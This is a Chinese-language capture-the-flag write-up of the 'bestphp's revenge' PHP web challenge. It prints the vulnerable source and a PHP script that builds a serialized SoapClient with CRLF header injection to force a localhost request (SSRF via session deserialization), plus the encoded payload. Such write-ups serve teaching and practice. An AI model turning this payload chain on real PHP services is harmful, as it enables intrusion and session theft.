135,【2】 buuctf web bestphp‘s revenge

进入靶场

分析代码

php 复制代码
<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);

// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';

// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);

// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();

// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);

// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果
注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作
还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; flag = 'LCTF{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}'; if(_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

php 复制代码
<?php

$target ='http://127.0.0.1/flag.php';

$b = new SoapClient(null,array('location'=>$target,

'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车

'uri' => "http://127.0.0.1/"));

$se = serialize($b);

echo "|" . urlencode($se);

?>

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

相关推荐
饮长安千年月1 小时前
Linksys WRT54G路由器溢出漏洞分析–运行环境修复
网络·物联网·学习·安全·机器学习
网络安全queen3 小时前
html网络安全工具源码 网络安全前端
安全·web安全
网络安全-老纪5 小时前
网络安全之如何发现安全漏洞
网络·安全·web安全
网络安全筑盾者-燕子6 小时前
计算机网络-OSI七层参考模型与数据封装,网络安全零基础入门到精通实战教程!
网络·计算机网络·安全·web安全·网络安全·osi
hvinsion7 小时前
深入解析TLS协议:保障网络通信安全的关键技术
网络协议·安全·网络安全
圣享科技SMARTLIC7 小时前
企业软件合规性管理:构建高效、安全的软件资产生态
大数据·安全·浮动许可证监控·许可证管理·浮动许可证优化·软件资产管理·浮动许可证管理
Guheyunyi9 小时前
接入DeepSeek后,智慧园区安全调度系统的全面提升
人工智能·python·安全·信息可视化·数据分析·智慧城市
浩浩测试一下15 小时前
NAT(网络地址转换)技术详解:网络安全渗透测试中的关键应用与防御策略
运维·服务器·安全·web安全·网络安全·系统安全·可信计算技术
黑客KKKing15 小时前
如何连接别人的redis服务器吗?
网络·安全·web安全·电脑
BenSmith16 小时前
v8漏洞CVE-2021-37975复现
安全